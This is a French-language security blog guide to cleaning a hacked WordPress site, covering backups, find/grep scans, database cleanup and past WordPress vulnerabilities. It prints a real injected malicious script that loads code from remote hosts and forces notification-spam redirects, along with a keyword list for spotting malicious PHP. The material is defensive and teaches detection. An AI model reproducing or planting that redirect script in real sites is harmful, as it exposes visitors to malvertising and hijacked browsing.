Site icon Astra Security Blog

Guide de suppression de WordPress Hack et Malware avec étapes complètes

Résumé de l’article

Ce guide complet vous aidera à réparer votre site WordPress piraté. Le guide comprend une procédure étape par étape, des vidéos, des infographies et des codes pour vous aider dans le processus de nettoyage des logiciels malveillants. Vous pouvez aussi, directement, discuter avec notre équipe pour toute assistance dans le nettoyage.

Votre site WordPress est-il piraté et infecté par un logiciel malveillant ?

Nous comprenons qu’il peut être difficile de trouver et de supprimer un piratage avec précision, c’est pourquoi nous avons élaboré ce guide détaillé qui vous aidera à détecter et à supprimer ce piratage en un rien de temps. Ce guide couvre les symptômes, la détection et le processus de suppression d’un piratage de WordPress. Ce guide traite également les causes et les types de hack possibles. Si vous souhaitez accéder immédiatement aux étapes de suppression d’un logiciel malveillant WordPress, cliquez ici.

Symptômes d’un site WordPress piraté

Si certains éléments comme la dégradation de votre site sont des indications claires d’un piratage de WordPress, d’autres signes peuvent être plus subtils. Ils peuvent passer inaperçus à l’utilisateur moyen, mais ils font quand même beaucoup de dégâts, c’est donc une bonne idée de les supprimer dès que vous les découvrez. Voici quelques signes subtils d’un piratage de WordPress :

1. Vous recevez des messages d’avertissement

2. Votre site commence à se comporter bizarrement

Si vous voyez l’un des signes indiqués ci-dessous, il est très probable que votre site web ait été victime d’un piratage de WordPress.

3. Vous voyez les changements dans les dossiers

Les modifications de fichiers sont le moyen le plus simple de savoir si votre site web a été piraté par WordPress. Voici quelques symptômes à rechercher :

Comment réparer un piratage de WordPress

Après vous être assuré que vous êtes bien confronté à un piratage de WordPress, voici comment procéder à sa suppression :

1. Faites une sauvegarde de votre site web

Faites une sauvegarde complète de votre site web – c’est toujours une bonne idée d’en avoir une. Le but d’une sauvegarde étant de restaurer le site web en cas d’incident, assurez-vous qu’elle fonctionne.

Assurez-vous que votre sauvegarde comprend vos fichiers de base WP, la base de données WP, les fichiers de plugin, les fichiers de thème et le fichier .htaccess. La plupart des services d’hébergement offrent des fonctions de sauvegarde. Contactez votre hébergeur pour connaître le processus de sauvegarde. Vous pouvez également effectuer une sauvegarde manuelle via un client SFTP comme Filezilla.

Sauvegarde du site

Vous trouverez ci-dessous d’autres moyens de faire une sauvegarde de votre site :

1. Utiliser un Plugin

WordPress dispose également de nombreux plugins de sauvegarde tels que UpdraftPlus qui simplifient le processus. Vous pouvez faire une sauvegarde complète de votre site avec des fichiers et une base de données.

2. Sauvegarde via SSH

Pour effectuer une sauvegarde de vos fichiers, voici ce que vous pouvez faire,

Cela créera un fichier zip de votre site web que vous pourrez ensuite télécharger sur votre PC.

3. Sauvegarde via SFTP

Comme cela nécessite un effort manuel, cela peut prendre plus de temps que les méthodes précédentes.

Sauvegarde de la base de données

Pour effectuer une sauvegarde complète de votre base de données, vous pouvez procéder comme suit :
1. Sauvegarde via un Plugin

Là encore, vous pouvez utiliser le même plugin UpdraftPlus pour sauvegarder votre base de données.

2. Sauvegarde via PHPMyAdmin

Vous pouvez également exporter votre base de données et l’enregistrer dans votre PC via PHPMyAdmin.

3. Sauvegarde via SSH

N’oubliez pas de modifier les informations d’identification (nom d’utilisateur, mots de passe, nom d’hôte, etc.) avant de sauvegarder la base de données. N’oubliez pas non plus de supprimer la copie du serveur de fichiers après l’avoir enregistrée localement.

2. Activer le mode de maintenance

Si vous avez détecté une activité malveillante sur votre site web, il est prudent de le mettre en mode de maintenance. Cela permettra de s’assurer que vos visiteurs ne seront pas affectés par le piratage.

De plus, en essayant de nettoyer le piratage, les modifications pourraient entraver les performances de votre site en direct, à moins que vous n’ayez activé le mode de maintenance.

Vous pouvez également utiliser un plugin WordPress comme le plugin Coming Soon pour afficher des messages bizarres en mode maintenance aux visiteurs de votre site sans révéler que vous êtes en train de nettoyer un piratage WordPress.

Voici comment fonctionne ce plugin :

Vous pouvez même personnaliser la page suivante avec le message et le logo de votre marque grâce à ce plugin.

3.Modifier les mots de passe actuels

Si vous pouvez toujours accéder à votre site web, changez tous les mots de passe immédiatement pour aider à couper l’accès du pirate. Cela devrait inclure les mots de passe de votre panneau d’administration, de votre compte d’hébergement, de votre base de données et d’autres comptes. Si d’autres membres de votre équipe utilisent le panneau d’administration, demandez-leur de changer également leurs mots de passe pour éviter que votre site ne soit compromis.

Vous pouvez également opter pour une nouvelle authentification de tous les comptes d’utilisateurs. Cela déconnectera automatiquement tous les utilisateurs de votre site web et ils devront obtenir une nouvelle autorisation. C’est une autre façon de contrôler l’accès de tout utilisateur non autorisé.

Il peut être judicieux de créer automatiquement de nouveaux mots de passe à l’aide d’un outil de gestion des mots de passe tel que LastPass ou KeePass pour chacun de ces comptes.

Note : Lorsque vous modifiez les informations d’identification de votre base de données, ne manquez pas de les ajouter au fichier wp-config.php.

4. Vérifiez les vulnérabilités des plugins

Les vulnérabilités des plugins tiers sont une autre raison courante de piratage de WordPress. Jusqu’à 56 % des piratages de WordPress sont le résultat d’une vulnérabilité de plugins.

Donc, avant de passer au processus de nettoyage, assurez-vous que les versions actuelles de vos plugins sont exemptes de vulnérabilités. Pour le confirmer, vous pouvez consulter le forum WordPress ou notre blog. Nous faisons de notre mieux pour garder nos lecteurs informés et en sécurité en publiant un blog ou un avis en cas d’exploitation massive d’un plugin.

Étant donné que les exploits de plugins ciblent de grandes parties de sites utilisant le plugin vulnérable, vous trouverez de nombreuses personnes demandant des solutions sur les forums. Vous pouvez rechercher sur Google une vulnérabilité particulière et trouver des étapes détaillées sur la manière de l’atténuer.

5. Fichiers de diagnostic

5.1. Utiliser un scanner de logiciels malveillants pour trouver les codes malveillants

Faites vérifier votre site par un scanner de logiciels malveillants (Astra en a un excellent !). Cela vous donnera des détails sur tous les fichiers au contenu malveillant. Vous pouvez également rechercher les logiciels malveillants manuellement, mais cela prendrait beaucoup de temps.

Si vous trouvez des fichiers suspects, vous pouvez utiliser des outils en ligne pour décrypter leur contenu. Vous trouverez ci-dessous un exemple de fichier malveillant, hiddencode.txt. Cela peut également être réalisé en utilisant phpMyAdmin, comme le montre l’image ci-dessous. Ce n’est pas tout, phpMyAdmin peut également s’avérer utile lors du nettoyage de la base de données en cas de piratage de WordPress.

Si vous trouvez quelque chose de suspect, mais que vous ne parvenez pas à comprendre ce que cela signifie, vous pouvez contacter nos experts. Nous serons heureux de vous aider !

5.2. Utilisez la commande “find” pour consulter les modifications récentes

Afin de voir les fichiers WordPress modifiés par les attaquants, obtenez un accès SSH à votre serveur et exécutez la commande suivante :

find . -mtime -2 -ls

Cette commande permet de lister tous les fichiers WordPress modifiés au cours des 2 jours précédents. Vous pouvez continuer à augmenter le nombre de jours jusqu’à ce que vous trouviez quelque chose de louche. Combinez cette commande find de SSH avec la commande grep pour rechercher du code encodé au format base64. Il suffit d’exécuter la commande suivante :

find . -name “*.php” -exec grep “base64” ‘{}’ ; -print &> hiddencode.txt

5.3. Comparer avec les fichiers WordPress originaux

Vous pouvez également télécharger des fichiers WordPress récents dans le répertoire WordPress et comparer votre sauvegarde avec celui-ci. Il est également possible d’utiliser des outils en ligne comme le vérificateur de différences pour trouver les différences entre les fichiers. Veillez à télécharger les fichiers en fonction de votre version de WordPress. Notez les différences pour une analyse plus approfondie. Si vous trouvez des liens malveillants injectés, supprimez-les immédiatement. Il est également conseillé de vérifier les fichiers pour certains mots clés comme – eval, exec, strrev, assert, base64, str_rot13, Stripslashes, preg_replace (avec /e/), move_uploaded_file etc.

Vous pouvez simplifier davantage la recherche de ces mots-clés en utilisant des commandes. Par exemple, pour rechercher des fichiers avec le mot-clé “base64”, exécutez la commande suivante :

sudo grep -ril base64 /

Maintenant, remplacez “base64” par chaque mot-clé pour récupérer les fichiers qui les contiennent, puis examinez-les attentivement.

5.4. Vérifier avec les outils de diagnostic

En général, les outils des webmasters sont rapides et précis pour détecter les piratages. Vous pouvez les utiliser pour trouver le problème. La console de recherche Google, par exemple, répertorie les problèmes sous l’onglet “Sécurité”. C’est un excellent moyen de confirmer le type de piratage et les fichiers/pages piratés. Consultez ces informations pour rechercher un piratage de WordPress, et pour le supprimer correctement de WordPress.

6. Nettoyer les logiciels malveillants des fichiers WordPress

Après le diagnostic approfondi de votre piratage WordPress, dressez la liste de toutes ce que vous avez découvert. Toute différence de fichier, modification récente, les faux utilisateurs/administrateurs, doivent être examinés avec la plus grande attention. Nettoyez les fichiers de base de WordPress tels que wp-config.php, wp-contents/uploads, wp-uploads, les fichiers de plugin, les fichiers de thème, la base de données, etc.

Voici une liste des guides complets et approfondis sur la suppression des logiciels malveillants dans WordPress, spécifiques aux symptômes de piratage de WordPress. Vous pouvez les suivre pour détecter et supprimer les logiciels malveillants :

7. Nettoyer le plan du site

Une autre cause de piratage de WordPress peut être qu’un logiciel malveillant réside dans le sitemap.xml de votre site. Un sitemap XML est un fichier qui aide Google à parcourir toutes les pages importantes de votre site web. Parfois, les pirates informatiques injectent des liens malveillants dans votre plan de site. Analysez donc votre plan de site pour y trouver des liens malveillants. Si vous identifiez un élément différent des habituels, supprimez-le.

8. Nettoyer la base de données

La base de données WordPress contient toutes les informations concernant vos utilisateurs, les pages de votre site, les informations d’identification sensibles, etc. Il est évident que la base de données constitue un objectif souhaitable. C’est pourquoi il est extrêmement important de scanner la base de données également, pour trouver le hack. Vous pouvez utiliser un scanner de logiciels malveillants pour connaître plus précisément les infections dans votre fichier wp_db.

Si vous souhaitez vérifier manuellement, vous devrez scanner chacune des 11 tableaux pour trouver le hack. Recherchez les liens/frames qui vous semblent suspects et supprimez-les pour vous débarrasser du piratage sur votre site WordPress. Voici un exemple de code de redirection inséré dans la base de données :

<script>
const overlayTranslations = {"en":{"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website."}};
const overlay = {"delay":3000,"overlayStyle":{"background":"rgba(0,0,0, 0.6)"},"title":"Attention!","description":"Click “Allow” to subscribe to notifications and continue working with this website.",...(overlayTranslations[navigator.language.slice(0, 2).toLowerCase()]||Object.values(overlayTranslations)[0])};
const s = document.createElement('script');
s.src='//humsoolt.net/pfe/current/tag.min.js?z=2774009';
s.onload = (sdk) => {
sdk.updateOptions({overlay, overlayTranslations})
sdk.onPermissionDefault(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionAllowed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onPermissionDenied(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onAlreadySubscribed(() => {window.location.replace("//ellcurvth.com/afu.php?zoneid=2826294")});
sdk.onNotificationUnsupported(() => {});
}
document.head.appendChild(s);
</script>
<script data-cfasync='false' type='text/javascript' src='//p79479.clksite.com/adServe/banners?tid=79479_127480_7&tagid=2'></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=2574011" async data-cfasync="false"></script><script type="text/javascript" src="//dolohen.com/apu.php?zoneid=676630" async data-cfasync="false"></script>

9. Réinstallez

Si le site est fortement infecté, il est préférable de supprimer les fichiers et de les remplacer par les nouveaux équivalents. Cela dit, la réinstallation ne se limite pas aux seuls fichiers ; après le nettoyage, il faut s’assurer de réinstaller chaque plugin. Parfois, par manque de temps ou de vigilance, nous avons tendance à stocker les plugins défectueux. Un hacker profitera généralement de ces plugins, car ils présentent presque toujours des vulnérabilités exploitables.

Certains propriétaires de sites web WordPress estiment que la suppression de l’ensemble du site web et le fait de repartir de zéro est une option plus viable.

Or, ce n’est pas le cas.

Il y a toujours une meilleure alternative que de repartir de zéro :

10. Laissez Astra vous aider

Si vous êtes un client d’Astra Pro, ne vous inquiétez pas ! Il vous suffit d’obtenir un ticket de support, et les ingénieurs en sécurité d’Astra nettoieront le hack pour vous. Ils s’occuperont également de toute mise sur liste noire à laquelle votre site web pourrait être confronté.

Si vous n’êtes pas un client d’Astra, vous pouvez vous inscrire dès maintenant et nous nous occuperons de tout pour vous. Grâce au service de suppression immédiate des logiciels malveillants d’Astra, votre site web sera opérationnel en quelques heures seulement.

Le scanner de logiciels malveillants d’Astra signale le WP-VCD

Raisons possibles d’une infection par un malware WordPress

La sécurité de votre site web dépend des mesures que vous prenez pour le sécuriser. En suivant des règles de sécurité simples, vous pouvez réduire considérablement les risques en ligne. Voici quelques raisons pour lesquelles votre site peut avoir été affecté, et comment vous pouvez suivre à l’avenir de meilleures pratiques de sécurité pour éviter un piratage de WordPress :

1. Ne pas mettre à jour WordPress

C’est la mesure de sécurité la plus élémentaire pour un site web. L’absence de mise à jour vers la dernière version est la principale raison des piratages de WordPress. Donc, soyez toujours rapide pour mettre à jour les dernières versions et les patchs. Cela permet de corriger les vulnérabilités connues de votre site web. La version 5.4.2 de WordPress est la plus récente au moment où ce blog a été mis à jour (le 15 décembre 2020).

2. Hébergement sur un serveur partagé

Un serveur partagé peut être l’option la moins chère, mais il a des répercussions plus coûteuses s’il est piraté. Déplacez votre site web vers un hébergement plus sûr, et assurez-vous de choisir un fournisseur d’hébergement de confiance en vérifiant que votre fournisseur respecte les meilleures normes de sécurité.

3. Utilisation de mots de passe et de noms d’utilisateur faibles

Presque toutes les zones sensibles de votre site web sont sécurisées par un mot de passe. Un mot de passe composé de votre propre nom/nom de votre site web et ne comportant pas de chiffres/caractères est un mot de passe faible. Veillez à ne pas utiliser de mots de passe faibles pour les éléments suivants

Changez également votre nom d’utilisateur par défaut pour un nom unique. Des mots tels que admin, votre propre nom, le nom de votre site web, etc. sont trop faciles à déchiffrer par l’attaquant.

4. Autorisations de fichiers incorrectes

Des autorisations de fichiers simples peuvent permettre aux attaquants d’y accéder, de les modifier ou de les supprimer. Dans certains cas, les attaquants détiennent même des fichiers contre rançon. Définissez les autorisations recommandées et veillez à respecter le principe du moindre privilège.

Relatif : Comment corriger les autorisations de fichiers WordPress

5. Accès non protégé au répertoire wp-admin

Le répertoire wp-admin est la zone à partir de laquelle vous contrôlez votre site web. Permettre un accès non protégé au répertoire d’administration de WordPress donne à vos utilisateurs/membres de l’équipe la possibilité d’effectuer des actions non souhaitées sur votre site web. Ainsi, limitez l’accès en définissant des autorisations pour les différents rôles des utilisateurs. De cette façon, aucun utilisateur ne détiendra le plein pouvoir. De plus, l’ajout de couches d’authentification à votre répertoire d’administration WordPress sera également utile.

6. Plugins ou thèmes obsolètes

De nombreux sites web WordPress utilisent des plugins et des thèmes obsolètes sur leur site. Comme ces plugins et thèmes contiennent déjà des vulnérabilités connues, il est bien trop facile pour les pirates de les exploiter. Par conséquent, si le développeur du plugin pousse une mise à jour, vous devriez suivre rapidement.

7. Utiliser le FTP simple au lieu du SFTP/SSH

Les comptes FTP sont utilisés pour télécharger des fichiers sur votre serveur web à l’aide d’un client FTP. Le FTP ordinaire ne crypte pas votre mot de passe et augmente le risque que quelqu’un le pirate. Le SFTP (SSH File Transfer Protocol), en revanche, envoie des données cryptées au serveur. Optez donc toujours pour le SFTP plutôt que pour le FTP. Vous pouvez le faire en changeant le protocole en “SFTP – SSH” chaque fois que vous vous connectez à votre serveur.

Comment les pirates attaquent-ils les sites WordPress ?

1. Injection SQL WordPress

La version 4.8.3 de WordPress et les précédentes ont été jugées vulnérables aux attaques par injection SQL. Assez ironiquement, la méthode $wpdb->prepare() qui est généralement utilisée pour préparer des requêtes sûres s’est révélée elle-même vulnérable. Cela signifie que les plugins et les thèmes qui utilisaient des requêtes créées à l’aide de cette fonction étaient également potentiellement vulnérables à une attaque SQLi.

De même, le plugin WP Statistics de WordPress avec plus de 3.00.000 téléchargements était vulnérable à SQLi. En règle générale, un attaquant peut lire des tables sensibles comme les wp_users de votre site WordPress en utilisant SQLi. Bien que les mots de passe soient stockés dans un format crypté, des outils peuvent toujours être utilisés pour le décryptage. Cela signifie qu’il faut obtenir les identifiants d’un administrateur pour se connecter à son compte dans WordPress. Dans le pire des cas, l’attaquant peut même télécharger un shell inversé utilisant un SQLi menant à un site WordPress piraté.

Article connexe – Empêcher l’injection de SQL d.,ans WordPress

2.Scripting WordPress Cross-Site

La version 5.1.1 de WordPress et les précédentes ont été jugées faibles face à une vulnérabilité XSS, CSRF et RCE. Il s’agissait d’une vulnérabilité XSS stockée. La fonction wp_filter_kses() qui est utilisée pour nettoyer les commentaires, permet d’utiliser des balises HTML de base et des attributs comme la balise combinée avec l’attribut “href”. Par conséquent, les attaquants peuvent livrer des charges utiles malveillantes. Ces données sont stockées dans la base de données et s’exécutent chaque fois qu’un utilisateur visite cette page.

Blog connexe – Cross- Site Scripting in WordPress – Exemples

3. Falsification de requêtes WordPress Cross-Site

Le jeton de validation CSRF n’a pas été implémenté dans WordPress et à juste titre car s’il l’était, il entraverait les fonctionnalités de trackbacks et pingbacks de WordPress. Pour différencier les utilisateurs normaux des administrateurs, WordPress utilise un jeton supplémentaire pour la validation de l’administrateur dans les formulaires de commentaires.

Ainsi, si le nonce est correctement fourni, le commentaire est créé sans aseptisation. Et si le nonce est incorrect, le commentaire est créé avec une vérification. Ainsi, lorsqu’un administrateur ne fournit pas de nonce, le commentaire est nettoyé en utilisant wp_filter_post_kses() au lieu de la fonction wp_filter_kses(). Ainsi, la fonction wp_filter_post_kses() permet à un attaquant de créer des commentaires avec beaucoup plus de balises et d’attributs HTML que ce qui est autorisé, menant ainsi une attaque CSRF.

4. Exécution du code à distance WordPress

Les versions de WordPress antérieures à 4.9.9 et 5.x antérieures à 5.0.1 se sont révélées sujettes à la RCE. Le paramètre vulnérable était l’entrée Post meta de la fonction _wp_attached_file(). Ce paramètre pouvait être manipulé en une chaîne de choix, c’est-à-dire se terminant par une sous-chaîne .jpg?file.php.

Cependant, pour exploiter ce paramètre, l’attaquant avait besoin de privilèges d’auteur. L’attaquant ayant les privilèges d’auteur pouvait télécharger une image spécialement conçue. Cette image contenait le code PHP à exécuter, intégré dans les métadonnées Exif. Les scripts permettant d’exploiter cette vulnérabilité sont disponibles publiquement et un module Metasploit a également été publié !

5. Traversée de l’annuaire WordPress

WordPress 5.0.3 était vulnérable aux attaques de type “Path Traversal”. Pour l’exploiter, l’attaquant avait besoin au moins des privilèges d’auteur sur le site WordPress cible. Le composant vulnérable était la fonction wp_crop_image().

Ainsi, l’utilisateur exécutant cette fonction (capable de recadrer une image) pouvait sortir l’image dans un répertoire arbitraire. De plus, le nom du fichier pouvait être ajouté avec le symbole de répertoire vers le haut, c’est-à-dire “../”, pour obtenir le chemin du fichier qu’un attaquant souhaite obtenir, c’est-à-dire .jpg?/../../file.jpg. Les modules Exploits et Metasploit pour reproduire cette vulnérabilité sont disponibles en ligne !

6. Plugins ou thèmes de bugs

Il est également probable qu’un plugin mal codé soit responsable du piratage de WordPress. Les thèmes d’auteurs non réputés contiennent souvent du code bogué. Dans certains cas, les pirates eux-mêmes publient des plugins et des thèmes chargés de logiciels malveillants pour compromettre de nombreux sites. De plus, un logiciel WordPress obsolète peut rendre un site vulnérable, ce qui conduit au piratage de WordPress.

Vous avez besoin d’une aide professionnelle pour empêcher le piratage d’un site WordPress ? Envoyez-nous un message via le widget de chat, et nous serons heureux de vous aider. Réparer mon site WordPress piraté maintenant.

Sécuriser votre site WordPress

1. Pratiques sécuritaires

2. Utiliser une solution de sécurité

Un pare-feu peut vous aider à sécuriser votre site WordPress même s’il est vulnérable. Cependant, il peut être difficile de trouver le bon pare-feu en fonction des divers besoins de WordPress. Astra peut vous aider à faire le bon choix parmi ses trois plans : Essentiel, Pro et Business. Peu importe que vous utilisiez WordPress pour gérer un petit blog ou un site d’entreprise, Astra couvre tous les domaines pour vous. De plus, la solution de sécurité Astra scanne et patche automatiquement votre site WordPress vulnérable. Il suffit d’installer le plugin Astra pour que votre site soit à nouveau sécurisé.

Essayez une démo maintenant !

3. Audit de sécurité et test de pénétration

Comme nous l’avons vu dans l’article, des vulnérabilités dans WordPress peuvent survenir de temps en temps. Par conséquent, par mesure de précaution, il est conseillé de procéder à un test de pénétration de votre site web. Cela vous révélera les failles avant que les attaquants ne puissent tirer profit de la sécurité de votre site. Astra fournit un audit de sécurité complet des sites WordPress. Avec ses plus de 120 tests actifs, Astra vous offre le bon mélange de tests automatiques et manuels.

Exit mobile version